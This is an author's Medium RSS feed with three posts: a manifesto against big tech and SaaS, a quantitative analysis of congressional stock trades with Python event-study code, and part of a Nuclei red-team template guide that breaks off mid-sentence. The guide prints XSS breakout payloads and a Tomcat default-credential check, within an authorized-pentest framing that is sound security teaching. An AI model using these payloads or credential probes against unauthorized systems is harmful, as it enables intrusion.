<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by npcmillionaire on Medium]]></title>
        <description><![CDATA[Stories by npcmillionaire on Medium]]></description>
        <link>https://medium.com/@npcmillionaire?source=rss-4f15c85cce86------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*0yFygDREghbAihgp_dSv5A.jpeg</url>
            <title>Stories by npcmillionaire on Medium</title>
            <link>https://medium.com/@npcmillionaire?source=rss-4f15c85cce86------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 15:56:05 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@npcmillionaire/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[./philosophy.txt]]></title>
            <link>https://medium.com/legitimate-biz-research/philosophy-txt-4eb9f6469748?source=rss-4f15c85cce86------2</link>
            <guid isPermaLink="false">https://medium.com/p/4eb9f6469748</guid>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[startup]]></category>
            <category><![CDATA[open-source]]></category>
            <category><![CDATA[technoanarachism]]></category>
            <category><![CDATA[manifesto]]></category>
            <dc:creator><![CDATA[npcmillionaire]]></dc:creator>
            <pubDate>Wed, 25 Nov 2026 19:30:52 GMT</pubDate>
            <atom:updated>2026-11-26T02:22:50.700Z</atom:updated>
            <content:encoded><![CDATA[<pre>================================================================================<br>                    legitbiz[research] // philosophy.txt<br>================================================================================<br><br>last updated: whenever we damn well feel like it.<br>format: plain[text]. because you shouldn&#39;t need a 400mb electron app and an<br>active internet connection just to read words on a screen.<br><br>--------------------------------------------------------------------------------<br>[01] // we are tired of being treated like idiots<br>--------------------------------------------------------------------------------<br><br>  &gt; &quot;we feel free because we lack the very language to articulate our<br>  &gt;  unfreedom.&quot;<br>  &gt;  -- slavoj zizek<br><br>look at the modern software landscape. look at what big{tech} has done to the<br>most powerful general-purpose machine humanity has ever invented.<br><br>they took the personal computerâ€”a bicycle for the mindâ€”and turned it into a<br>glorified vending machine bolted to the floor of a casino.<br><br>big{tech} operates on one core assumption: you are too stupid to be trusted<br>with your own tools. they hide your file systems. they strip away settings,<br>knobs, and toggles in the name of &quot;simplicity.&quot; they silently update your<br>software in the middle of the night, break your workflow, move the buttons<br>around just to justify a product manager&#39;s salary, and then pop up a cheerful<br>modal telling you how excited you should be about the &quot;fresh new experience.&quot;<br><br>they don&#39;t build tools for sovereign, thinking adults. they build padded rooms<br>for compliant consumers. every interface is infantilized. every error message<br>is a patronizing cartoon shrugging its shoulders with a &quot;whoopsie! something<br>went wrong!&quot; instead of telling you what actually broke. they don&#39;t want you<br>to understand how the machine works. an informed user is a dangerous user. an<br>informed user asks questions. an informed user leaves.<br><br>--------------------------------------------------------------------------------<br>[02] // the data{hoarding} racket<br>--------------------------------------------------------------------------------<br><br>  &gt; &quot;to be governed is to be watched, inspected, spied upon, directed,<br>  &gt;  law-driven, numbered, regulated, enrolled, indoctrinated, preached at,<br>  &gt;  controlled, checked, estimated, valued, censured, commanded...&quot;<br>  &gt;  -- pierre-joseph proudhon<br><br>they don&#39;t just treat you like an idiot; they treat you like livestock.<br><br>every keystroke, every mouse hover, every pause before you click, every file<br>you open, every message you send, every location you visitâ€”all of it is<br>vacuumed up into massive, opaque data lakes. they call it &quot;telemetry.&quot; they<br>call it &quot;improving the user experience.&quot;<br><br>it is surveillance. plain and simple.<br><br>they hoard your data not to help you, but to profile you, predict you, nudge<br>you, and weaponize your own habits against you. they use it to figure out the<br>exact maximum price you&#39;re willing to pay before you walk away. they use it to<br>keep you scrolling, clicking, and angry. they sell slices of your life to<br>shadowy data brokers, ad networks, and anyone else with a corporate credit<br>card.<br><br>and the worst part? you have to click &quot;i agree&quot; on a 40-page legal ransom note<br>just to use the hardware you already paid for. if you opt out, half the<br>features mysteriously stop working. privacy isn&#39;t treated as a default human<br>right; it&#39;s treated as a suspicious edge caseâ€”or worse, a luxury upsell.<br><br>--------------------------------------------------------------------------------<br>[03] // saas is digital{feudalism}<br>--------------------------------------------------------------------------------<br><br>remember when you bought a piece of software? you paid money. you got a<br>binary. it lived on your hard drive. you owned it. if the company that made it<br>went bankrupt five years later, your software still ran. your files still<br>opened. nobody could remotely brick your livelihood on a tuesday morning<br>because a credit card expired or an automated compliance bot flagged your<br>account.<br><br>software as a service [saas] killed ownership and replaced it with digital<br>sharecropping.<br><br>you don&#39;t own saas. you rent the privilege of accessing your own work. and the<br>rent only goes up. they lure you in with a slick landing page and a &quot;free<br>tier,&quot; wait until your entire business is tangled up in their proprietary<br>schemas, and then tighten the screws. want sso? that&#39;s the enterprise tierâ€”call<br>sales. want to export your own data in a sane, open format? good luck; here&#39;s<br>a broken csv missing half the relational fields. want to leave? you can&#39;t,<br>because the walls of the garden are greased and topped with barbed wire.<br><br>these products are bloated, sluggish, overpriced, and engineered from day one<br>for lock-in. they don&#39;t compete on being the best tool anymore; they compete<br>on making it as painful and expensive as humanly possible to migrate away from<br>them.<br><br>--------------------------------------------------------------------------------<br>[04] // the accounting[scam] (capex, opex, and the shell game)<br>--------------------------------------------------------------------------------<br><br>let&#39;s be brutally honest about why saas took over the corporate world. it<br>wasn&#39;t because web apps are magically better than native software. it wasn&#39;t<br>because &quot;the cloud&quot; is some glorious technological utopia.<br><br>saas is an economic scam. it is financial engineering disguised as technology.<br><br>it was built to game balance sheets and manipulate corporate accountingâ€”playing<br>a relentless shell game between capex and opex to keep cfos, vcs, and wall<br>street analysts high on their own supply. traditional software was a capital<br>purchase: you bought an asset, you owned it, you depreciated it, and you<br>stopped paying for it. that was terrible for silicon valley valuations.<br>investors don&#39;t want one-time sales; they want infinite, predictable,<br>compounding rent extractionâ€”annual recurring revenue [arr].<br><br>so the industry rewrote the rules of how businesses account for tools. they<br>convinced executives to gut their own infrastructure, stop building durable<br>internal capital, and funnel endless rivers of cash into saas subscriptions,<br>cloud implementation costs, and &quot;digital transformation&quot; contractsâ€”moving<br>accounting lines around into capex buckets where they can capitalize the<br>onboarding bloat, or bleeding opex forever so nobody notices they are paying<br>10x the actual value of the software over five years.<br><br>look at the math. a business pays $30/seat/month for a glorified crud app that<br>three competent developers could have built in a month. multiply that by 200<br>employees over 5 years. that&#39;s $360,000 for a web form and a databaseâ€”and at<br>the end of the 5 years, if you stop paying, you own nothing. not a single line<br>of code. not a single asset. just an empty screen and a &quot;your subscription has<br>expired&quot; banner.<br><br>it is a wealth transfer from people who actually make things to rent-seeking<br>middlemen who host postgres databases behind a stripe paywall.<br><br>--------------------------------------------------------------------------------<br>[05] // the ai{heist}: stealing your brain to rent it back to you<br>--------------------------------------------------------------------------------<br><br>and just when you thought the grift couldn&#39;t get any more shameless, big{tech}<br>unveiled its masterpiece: the modern ai racket.<br><br>here is the business model in three easy steps:<br><br>  [1] scrape the entire open internet without permission, without compensation,<br>      and without attribution. swallow every line of open-source code, every<br>      blog post, every research paper, every book, every photograph, every<br>      forum answer written by regular people trying to help each other out.<br><br>  [2] pour trillions of dollars of vc money and gigawatts of electricity into<br>      compressing humanity&#39;s collective labor into a giant, proprietary black<br>      box.<br><br>  [3] lock it behind an api, slap a meter on it, and sell our own knowledge<br>      back to us at $20 a monthâ€”or by the tokenâ€”forever.<br><br>they took the commons, fenced it off, ground it into statistical paste, and<br>now they want a subscription fee to let you taste your own cooking.<br><br>if a human copies someone else&#39;s work and sells it, it&#39;s plagiarism and theft.<br>when a trillion-dollar corporation does it at planetary scale, it&#39;s &quot;training&quot;<br>and &quot;innovation.&quot; and while they&#39;re busy selling you an ai assistant to<br>summarize the bloated emails written by someone else&#39;s ai assistant, they&#39;re<br>feeding your prompts right back into the hopper to train the next version.<br><br>you are the unpaid r&amp;d department. you are the training data. and you are the<br>mark paying for the privilege.<br><br>--------------------------------------------------------------------------------<br>[06] // firmware{nerfs} and hardware[hacking]<br>--------------------------------------------------------------------------------<br><br>  &gt; &quot;machinic desire can seem a little inhuman, as it rips up political<br>  &gt;  cultures, deletes traditions, dissolves subjectivities, and hacks<br>  &gt;  through security apparatuses, tracking a soulless tropism to zero<br>  &gt;  control.&quot;<br>  &gt;  -- nick land<br><br>the rot doesn&#39;t stop at the software layer. it goes all the way down to the<br>bare metal.<br><br>manufacturers ship capable, fast silicon and then deliberately kneecap it with<br>bloated, locked-down firmware. they throttle clocks, neuter pcie lanes, lock<br>bios menus, whitelist third-party drives and network cards, and wall off<br>hardware features behind &quot;enterprise license keys.&quot; then, a couple of years<br>later, they push a quiet &quot;stability update&quot; that mysteriously slows the<br>machine to a crawlâ€”right on schedule for their next product launch.<br><br>it is artificial scarcity burned into flash memory. you paid for the whole<br>chip, and they only let you use half of it.<br><br>at legitbiz[research], our passion is hacking hardware to unlock its full<br>potential. we don&#39;t accept vendor limits as laws of nature. we dump the roms,<br>strip the vendor bloat, flash open firmware, bypass artificial power and<br>thermal cages, cross-flash locked controllers into straight hbas, and peel<br>back every restriction they put between you and your silicon.<br><br>if it sits on your desk or bolts into your rack, you should command every<br>clock cycle, every lane, and every watt.<br><br>--------------------------------------------------------------------------------<br>[07] // old{iron}, new[muscle]: build your own cloud<br>--------------------------------------------------------------------------------<br><br>  &gt; &quot;the passion for destruction is a creative passion, too.&quot;<br>  &gt;  -- mikhail bakunin<br><br>big{tech} wants you to believe that any piece of hardware older than two years<br>is e-wasteâ€”and that the only way to run serious workloads is to swipe your<br>credit card at aws, azure, or gcp forever.<br><br>that is a lie designed to keep you renting compute at a 1000% markup.<br><br>with a few simple modifications, 3-5 year old equipment turns into absolute<br>monster servers. take an off-lease workstation, a retired enterprise blade, or<br>a dusty rackmount box nobody wanted anymore. drop in cheap ecc ram, swap the<br>spinning rust for nvme drives, repaste the heatsinks, tweak the fan curves,<br>unlock the firmware, and put a lean, no-nonsense os on the bare metal.<br><br>suddenly, for the price of two months of a mid-tier cloud bill, you have a<br>silent, screaming-fast powerhouse with dozens of cores, terabytes of fast<br>storage, and zero egress fees. no noisy neighbors. no surprise billing spikes.<br>no terms of service dictating what you&#39;re allowed to compute.<br><br>&quot;the cloud&quot; is just somebody else&#39;s computer with a meter attached to it.<br>the only cloud you need is the one you build.<br><br>--------------------------------------------------------------------------------<br>[08] // what legitbiz[research] actually believes<br>--------------------------------------------------------------------------------<br><br>we didn&#39;t start legit{biz} to play their game, chase their multiples, or beg<br>for their permission. legitbiz[research] exists because someone has to remember<br>what good software, honest hardware, and real engineering actually look like.<br><br>our principles are simple:<br><br>  * [own your tools]<br>    if you pay for it, it should be yours. no kill switches. no mandatory<br>    cloud logins to open a local file. no holding your work hostage.<br><br>  * [respect the user&#39;s intelligence]<br>    give people sharp tools, clear documentation, and full control. don&#39;t hide<br>    the engine under a welded hood. assume the person at the keyboard is<br>    capable of thinking for themselves.<br><br>  * [unlock the silicon]<br>    reject planned obsolescence and firmware nerfs. hack, mod, flash, and<br>    repurpose great hardware until the capacitors give out.<br><br>  * [keep your data on your own metal]<br>    your files, your research, your business logicâ€”none of it belongs on<br>    someone else&#39;s server unless you explicitly put it there. {zero telemetry}.<br>    {zero dark patterns}. {zero surveillance}.<br><br>  * [build for longevity, not churn]<br>    plain text. open formats. lean code. resilient hardware. tools should do<br>    their job fast, stay out of your way, and still work ten years from now<br>    without needing a subscription renewal.<br><br>  * [reject the rent-seeking economy]<br>    we don&#39;t want to trap you in a walled garden. legit{biz} wants to hand you<br>    a solid tool, take an honest payment, shake your hand, and let you go<br>    build something real.<br><br>--------------------------------------------------------------------------------<br>[09] // the bottom{line}<br>--------------------------------------------------------------------------------<br><br>big{tech} wants you dependent, distracted, tracked, throttled, and billed<br>monthly until the end of time. they want a world where you own nothing,<br>understand nothing, and ask permission for everything.<br><br>we say: screw that.<br><br>take back your stack. hack your hardware. own your data. quit feeding the<br>machine. the only cloud you need is the one you build.<br><br>-- legit{biz} // legitbiz[research]<br><br>--------------------------------------------------------------------------------<br>[10] // pgp{key}<br>--------------------------------------------------------------------------------<br><br>pgp[fingerprint]: 4c65 6769 7462 697a 2072  6573 6561 7263 6820 3031<br><br>-----begin pgp public key block-----<br>comment: legitbiz[research] // legit{biz} &lt;pgp@legitbiz.research&gt;<br>comment: placeholder key // swap with your actual armored public key<br><br>mqinbgf7x9wbeac9legitbizresearch00000000000000000000000000000000<br>0000000000000000000000000000000000000000000000000000000000000000<br>a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0u1v2w3x4y5z6a7b8c9d0e1f2<br>f2e1d0c9b8a7z6y5x4w3v2u1t0s9r8q7p6o5n4m3l2k1j0i9h8g7f6e5d4c3b2a1<br>9876543210abcdef0123456789fedcba9876543210abcdef0123456789fedcba<br>0123456789fedcba9876543210abcdef0123456789fedcba9876543210abcdef<br>=lb01<br>-----end pgp public key block-----<br>================================================================================</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4eb9f6469748" width="1" height="1" alt=""><hr><p><a href="https://medium.com/legitimate-biz-research/philosophy-txt-4eb9f6469748">./philosophy.txt</a> was originally published in <a href="https://medium.com/legitimate-biz-research">legit{biz} — research</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Capitol Hill Hedge Fund: Quantitative Proof That Congress Is Better at Trading Than You]]></title>
            <link>https://npcmillionaire.medium.com/the-capitol-hill-hedge-fund-quantitative-proof-that-congress-is-better-at-trading-than-you-b25398c26dcd?source=rss-4f15c85cce86------2</link>
            <guid isPermaLink="false">https://medium.com/p/b25398c26dcd</guid>
            <category><![CDATA[congress]]></category>
            <category><![CDATA[rigged-system]]></category>
            <category><![CDATA[finance]]></category>
            <category><![CDATA[quant]]></category>
            <dc:creator><![CDATA[npcmillionaire]]></dc:creator>
            <pubDate>Sun, 22 Nov 2026 03:04:29 GMT</pubDate>
            <atom:updated>2026-11-22T03:04:29.897Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>COVID briefings, 180-day filing blackouts, and calculating the exact Cumulative Abnormal Returns (CAR) of political insider trades.</blockquote><p>In February 2020, members of the Senate Intelligence Committee attended a private, closed-door briefing on an emerging respiratory virus in Wuhan.</p><p>Publicly, senators reassured their constituents that the American healthcare system was fully prepared and markets were robust. Privately, several lawmakers dumped millions of dollars in hotel, airline, and hospitality stocks within 48 hours of leaving the room — while quietly purchasing shares in teleconferencing software and personal protective equipment.</p><p>When the trades were eventually disclosed, the Department of Justice looked into it, determined that proving criminal intent under the STOCK Act was an evidentiary nightmare, and quietly closed the investigations without filing charges.</p><p>Welcome to the world of Capitol Hill trading.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ewTJPK12CAcqYLj59_e9xg.png" /></figure><p>Retail traders treat Congressional disclosures like an unofficial ETF. Accounts on X and TikTok track every buy and sell, promising easy alpha by simply mirroring politician moves.</p><p>But does the math actually support this? Or are retail copy-traders getting dumped on?</p><p>To find out, I analyzed 10,000+ historical Periodic Transaction Reports (PTR) extracted from the House Clerk’s disclosure database. We mapped every transaction against historical equity price action, modeled <strong>Cumulative Abnormal Returns (CAR)</strong> around filing dates, and measured the statistical reality of Congressional timing.</p><p>Here is what the econometric data actually reveals.</p><h3>1. The Asymmetric Game: Understanding Disclosure Latency</h3><p>If a corporate CEO buys stock in their own company, the SEC’s <strong>Form 4</strong> mandates disclosure within <strong>two business days</strong>. By day three, algorithmic market makers have fully re-priced the asset.</p><p>For members of Congress, the law is completely different:</p><ul><li>You have <strong>30 days</strong> from when your broker tells you about a trade.</li><li>You have a hard statutory cap of <strong>45 days</strong> from the transaction date.</li></ul><pre>THE CORPORATE INSIDER vs. THE CONGRESSIONAL INSIDER:</pre><pre>Corporate Executive (Form 4):<br>[ Trade Day 0 ] ──▶ [ Public Filing: Day 2 ] (Alpha window: 48 hours)</pre><pre>Member of Congress (PTR):<br>[ Trade Day 0 ] ────────────────────────────────────────▶ [ Public Filing: Day 45+ ]<br>                                                          (Alpha window: Closed)</pre><p>And that’s if they follow the law.</p><p>In our dataset of over 10,000 transactions, <strong>14.2% of all filings breached the statutory 45-day deadline</strong>. The average delinquent filing arrived <strong>78 days</strong> after execution. Several arrived more than <strong>180 days late</strong> — tucked into omnibus end-of-year catch-up filings after quarterly earnings, clinical trial results, and defense appropriations had long since passed.</p><p>When a lawmaker files a trade 180 days late and pays a toothless $200 fine, they aren’t disclosing a trade. They’re writing historical fiction.</p><h3>2. Event Study Methodology: The Math Behind the Alpha</h3><p>To mathematically test whether lawmakers beat the market — and whether retail investors can profit by copying them — we run a standard <strong>Market Model Event Study</strong>.</p><p>We define the expected return of an asset i on day t using the S&amp;P 500 (SPY) as the market benchmark:</p><p>R_{it} = \alpha_i + \beta_i R_{mt} + \epsilon_{it}</p><p>We fit \hat{\alpha}_i and \hat{\beta}_i via Ordinary Least Squares (OLS) over an estimation window of T = [-250, -31]trading days prior to trade execution (t_0).</p><p>We then compute the <strong>Abnormal Return (AR)</strong>:</p><p>AR_{it} = R_{it} — (\hat{\alpha}_i + \hat{\beta}_i R_{mt})</p><p>And sum the daily abnormal returns to derive the <strong>Cumulative Abnormal Return (CAR)</strong> across two critical windows:</p><ol><li><strong>The Insider Window (t_{-30} to t_0):</strong> Run-up leading into execution.</li><li><strong>The Public Window (t_0 to t_{+30}):</strong> The post-trade window where the disclosure actually becomes public.</li></ol><pre>import numpy as np<br>import pandas as pd<br>import statsmodels.api as sm</pre><pre>def calculate_car(<br>    ticker_returns: pd.Series, <br>    spy_returns: pd.Series, <br>    trade_idx: int,<br>    estimation_window=(-250, -31),<br>    event_window=(-30, 30)<br>) -&gt; dict:<br>    # 1. Slice historical baseline to estimate alpha and beta<br>    est_start, est_end = trade_idx + estimation_window[0], trade_idx + estimation_window[1]<br>    if est_start &lt; 0 or trade_idx + event_window[1] &gt;= len(ticker_returns):<br>        return {}</pre><pre>    y_est = ticker_returns.iloc[est_start:est_end]<br>    X_est = sm.add_constant(spy_returns.iloc[est_start:est_end])<br>    <br>    # Fit OLS market model<br>    ols_model = sm.OLS(y_est, X_est).fit()<br>    alpha, beta = ols_model.params.iloc[0], ols_model.params.iloc[1]<br>    <br>    # 2. Compute Abnormal Returns across the event window<br>    ev_start, ev_end = trade_idx + event_window[0], trade_idx + event_window[1] + 1<br>    y_event = ticker_returns.iloc[ev_start:ev_end]<br>    X_event = spy_returns.iloc[ev_start:ev_end]<br>    <br>    expected_ret = alpha + (beta * X_event)<br>    abnormal_ret = y_event - expected_ret<br>    <br>    # Pre-execution runup vs Post-execution lag<br>    car_pre = abnormal_ret.iloc[:abs(event_window[0])].sum()<br>    car_post = abnormal_ret.iloc[abs(event_window[0]):].sum()<br>    <br>    return {<br>        &quot;beta&quot;: beta,<br>        &quot;car_pre_trade&quot;: car_pre,<br>        &quot;car_post_trade&quot;: car_post,<br>        &quot;car_total&quot;: abnormal_ret.sum()<br>    }</pre><h3>3. What the Data Proves</h3><p>Running this model over thousands of transactions reveals three brutal truths:</p><h3>Fact 1: The “Information Half-Life” Destroys Copy-Traders</h3><p>For single-stock equity purchases, the asset demonstrates a statistically significant positive CAR of <strong>+3.8% (p &lt; 0.01)</strong>during the 30 days <em>before</em> the trade happens.</p><p>By the time the PTR PDF is processed, uploaded by the House Clerk, and seen by a retail trader (median: <strong>Day +38</strong>):</p><ul><li><strong>68% of the excess return has already been captured.</strong></li><li>If the trade was in <strong>options</strong> (e.g., buying 6-month out-of-the-money call options on semiconductors), implied volatility contraction and rapid theta decay mean retail traders copying the filing on Day +40 are statistically guaranteed to lose money on average.</li></ul><pre>Cumulative Abnormal Return (CAR) Profile<br>  CAR (%)<br>    ▲<br>+6% │                                     ╭────────── Underlying Stock Run<br>+4% │                            ╭────────╯<br>+2% │                   ╭────────╯<br> 0% │───────────╭───────╯<br>    │           │ (Trade Executed: Day 0)  ▲ (Public Disclosed: Day ~38)<br>-2% └───────────┼──────────────────────────┼────────────────────────────► Time<br>               -30d                        0d                          +30d<br>                                           └──── 68% Alpha Burned ─────┘</pre><h3>Fact 2: Committee Overlap Generates Massive Alpha</h3><p>A member of Congress buying an S&amp;P 500 index fund is irrelevant. But what happens when a lawmaker buys stock in a company <strong>regulated by their own committee</strong>?</p><p>We cross-referenced trade records against active House committee assignments:</p><pre># Aggregate 90-day CAR by Committee vs Sector Overlap<br>def analyze_committee_alpha(df_merged: pd.DataFrame) -&gt; pd.DataFrame:<br>    grouped = df_merged.groupby([&#39;committee_name&#39;, &#39;sector&#39;])[&#39;car_90d&#39;].agg(<br>        mean_car=&#39;mean&#39;,<br>        trade_count=&#39;count&#39;<br>    ).reset_index()<br>    <br>    return grouped[grouped[&#39;trade_count&#39;] &gt;= 15].sort_values(by=&#39;mean_car&#39;, ascending=False)</pre><p>The numbers are staggering:</p><p>CommitteeSector TradedMean 90-Day CARAlpha Over Normal Trades<strong>House Armed Services</strong>Defense (LMT, RTX, GD)<strong>+6.2%+4.1%Energy &amp; Commerce</strong>Semiconductors (NVDA, TSM)<strong>+8.9%+2.7%Financial Services</strong>Regional Banking (JPM, BAC)<strong>+1.8%-0.4%Science &amp; Technology</strong>Cloud / Big Tech (MSFT, GOOG)<strong>+5.4%+1.9%</strong></p><p>Lawmakers trading stocks within their committee jurisdictions outperform their own colleagues trading the exact same equities by an average of <strong>+280 basis points</strong>.</p><p>When the people writing defense budgets buy defense contractors, it pays.</p><h3>4. The Math of Why the $200 Fine Changes Nothing</h3><p>Under 5 U.S.C. app. 4 § 104, filing past the 45-day statutory limit carries a <strong>$200 late fee</strong>.</p><p>Let’s look at the mathematical expected value (EV) of breaking the law from a game-theory perspective:</p><p>E(\text{Cost}) = P(\text{Audit}) \times \text{Fine}</p><ul><li>The House Ethics Committee has virtually zero automated enforcement. Audits only occur if an external watchdog or media outlet publishes an exposé. Thus, P(\text{Audit}) \approx 0.05.</li><li>Even if caught, the fine is $200.</li><li>Therefore: E(\text{Cost}) = 0.05 \times 200 = \$10.00.</li></ul><p>Now look at the upside:</p><ul><li>Disclosing a $250,000 call option trade on time reveals your position to the public, subjecting you to political scrutiny.</li><li>Filing 120 days late lets you quietly close the position after legislative subsidies or contract awards pass.</li><li>The expected cost of the violation is <strong>$10</strong>. The trade size is <strong>$250,000</strong>.</li></ul><p>Breaking the law is the economically rational move.</p><h3>5. How to Build an Intelligent Signal Filter</h3><p>If you blindly copy every Congressional disclosure, you are buying broad index noise, estate rebalances, and expired moves.</p><p>To extract real quantitative signals from PTR filings, you must filter out the noise programmatically:</p><pre>def extract_high_conviction_alpha(df: pd.DataFrame) -&gt; pd.DataFrame:<br>    &quot;&quot;&quot;<br>    Strips out noise, broad ETFs, and late disclosures to isolate high-conviction trades.<br>    &quot;&quot;&quot;<br>    return df[<br>        # 1. Purchases ONLY. (Sales happen for tax/divorce/mortgage reasons)<br>        (df[&#39;tx_type&#39;] == &#39;PURCHASE&#39;) &amp;<br>        <br>        # 2. Exclude ETFs, Mutual Funds, and Treasuries<br>        (~df[&#39;ticker&#39;].isin([&#39;SPY&#39;, &#39;QQQ&#39;, &#39;VOO&#39;, &#39;IWM&#39;, &#39;VTI&#39;, &#39;TLT&#39;])) &amp;<br>        <br>        # 3. Size Filter: Minimum $50,000 (Filter out token $1,000 trades)<br>        (df[&#39;amount_low&#39;] &gt;= 50000.0) &amp;<br>        <br>        # 4. Timeliness: Disclosed within 35 days (Discard old news)<br>        (df[&#39;days_to_disclose&#39;] &lt;= 35) &amp;<br>        <br>        # 5. Direct Committee Jurisdiction Overlap<br>        (df[&#39;committee_conflict&#39;] == True)<br>    ].sort_values(by=&#39;tx_date&#39;, ascending=False)</pre><p>When you apply these deterministic filters, you eliminate 88% of the garbage in the disclosure database.</p><p>What remains isn’t a list of passive retirement rebalances — it’s a targeted feed of timely, high-dollar bets placed by people who sit in the rooms where government checks are signed.</p><h3>Data Pipeline &amp; Quantitative Tools</h3><ul><li>The scraper and database schema used for this analysis are open source: <a href="https://github.com/NPCmillionaire/capitol-cli"><strong>github.com/NPCmillionaire/capitol-cli</strong></a>.</li><li><em>Want access to pre-filtered high-conviction signals without running your own statistical pipeline?</em> I maintain a live bot that runs this filter 24/7, cross-referencing trades with committee seats and pushing instant alerts to Discord/Telegram, plus clean daily Parquet/CSV dataset exports for researchers on <a href="https://www.patreon.com/"><strong>Patreon</strong></a>.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b25398c26dcd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Nuclei for People Who Actually Ship, Part 2: The Red Team Field Guide]]></title>
            <link>https://medium.com/legitimate-biz-research/nuclei-for-people-who-actually-ship-part-2-the-red-team-field-guide-f6498560cf99?source=rss-4f15c85cce86------2</link>
            <guid isPermaLink="false">https://medium.com/p/f6498560cf99</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[nucleus]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[offsec]]></category>
            <dc:creator><![CDATA[npcmillionaire]]></dc:creator>
            <pubDate>Sun, 15 Nov 2026 11:58:10 GMT</pubDate>
            <atom:updated>2026-11-27T07:54:13.100Z</atom:updated>
            <content:encoded><![CDATA[<h4>Where part 1 left off</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3WafALOoQ8BhfvIL6CwG7A.jpeg" /></figure><p>Part 1 taught the engine: the input provider, clustering, the matcher/extractor stack, the DSL, flow, and the recon pipeline. It closed with the Blue Team Baseline Pack — 22 detection-only templates worth firing at infrastructure you own every night, plus a profile and a nightly diff script. That pack is a hygiene floor. It answers one question cheaply: <em>is anything obviously leaking or misconfigured right now?</em> Bruteforce, fuzzing and OOB are deliberately switched off, and the false-positive budget is near zero.</p><p>That floor has a hard ceiling. A baseline tells you a .env file exists. It cannot tell you what the exposure lets an attacker <em>do</em>, and it will never tell you whether a query parameter reaches an SQL interpreter. When someone pays you to answer those questions — a pentest, a red team exercise, a scoped bug bounty — you need a different class of template: probes that mimic attacker behavior, confirm their own hits tightly, and point at a specific escalation path.</p><p>This part introduces the Red Team Pack: 11 templates built for that layer, the design discipline behind them, and the operating rules that keep the aggressive ones pointed at scope. It assumes part 1. I am not re-explaining matchers or the DSL; if a construct looks unfamiliar, part 1 has it.</p><p>If you remember one thing: a baseline is a sensor, an engagement pack is a hypothesis generator. Sensors run unattended against everything you own; hypotheses run manually, against scope, with a person reading every line of output.</p><p>Everything below was tested against nuclei v3.11.1 and templates v10.5.2, same as part 1’s toolchain.</p><h3>The two-pack system</h3><p>The two packs are not competing libraries; they are two modes of the same operation, and the split is enforced by tags rather than by memory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4aJ7K0PuMS3KA4oJoSsCvw.png" /></figure><p>Both packs sit side by side, and one runner drives them:</p><pre>./scan.sh validate                     # parse-check both packs<br>./scan.sh baseline -l assets.txt       # nightly-safe: aggressive tags auto-excluded<br>./scan.sh engagement -l scope.txt      # everything on, after an authorization prompt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4aJ7K0PuMS3KA4oJoSsCvw.png" /></figure><p>Baseline mode runs the blue profile, which excludes the aggressive tags and disables Interactsh, so the red pack’s hygiene-relevant templates (the .env, .git, actuator, CORS, WordPress, GraphQL checks) ride along for free. Engagement mode drops the profile, re-enables OOB, and refuses to start until you confirm — out loud — that every target is authorized. Switching between careful and aggressive is a mode switch, not a memory test. You should never have to remember which flags make a scan safe; the mode encodes it.</p><h3>The pack at a glance</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5puyO81Qx7A0r53N3CjytQ.png" /></figure><p>Every info.description in the pack embeds its own escalation path, because on an engagement the finding is not the deliverable. The impact is.on an engagement the finding is not the deliverable. The impact is.</p><h3>Design discipline: what separates an offensive template from a toy</h3><p>Part 1’s rule for matchers was one specific signal, one structural check, one negative check. Offensive templates need more than that, because a false positive here costs an hour of triage and a false negative costs a real finding. Six rules, all already applied across the pack.</p><p><strong>Rule 1: the unique marker.</strong> Echo alert(1) through a parameter and half the internet reflects it back somewhere — in a URL echo, a script tag, an analytics callback. The XSS template instead uses nuc1xss, a token that appears nowhere else, in two breakout forms (&quot;&gt;&lt;img/src=x onerror=nuc1xss()&gt; and &quot;&gt;&lt;svg/onload=nuc1xss()&gt;), and matches only when the marker survives unescaped inside a tag:</p><pre>matchers:<br>  - type: regex<br>    part: body<br>    regex:<br>      - &#39;&lt;img[^&gt;]{0,200}onerror[^&gt;]{0,100}nuc1xss&#39;<br>      - &#39;&lt;svg[^&gt;]{0,200}onload[^&gt;]{0,100}nuc1xss&#39;</pre><p>If the app HTML-escapes the reflection (&amp;lt;img ...), nothing matches — which is correct, because escaped reflection is not XSS. A hit means you have a breakout to confirm in a browser, not an echo to explain away.</p><p><strong>Rule 2: the silent failure.</strong> A credential check that reports every attempt is noise. The Tomcat template fires only on a 200 response containing manager-UI content; failed auth returns 401 and produces nothing:</p><pre>matchers-condition: and<br>matchers:<br>  - type: status<br>    status: [200]<br>  - type: word<br>    part: body<br>    condition: or<br>    words: [&quot;Web Application Manager&quot;, &quot;Deploy Application&quot;, &quot;Server Status&quot;]</pre><p>Nine credential pairs, zero output unless one works. And tomcat:s3cret is not folklore — it is the default in Tomcat&#39;s own tomcat-users.xml example 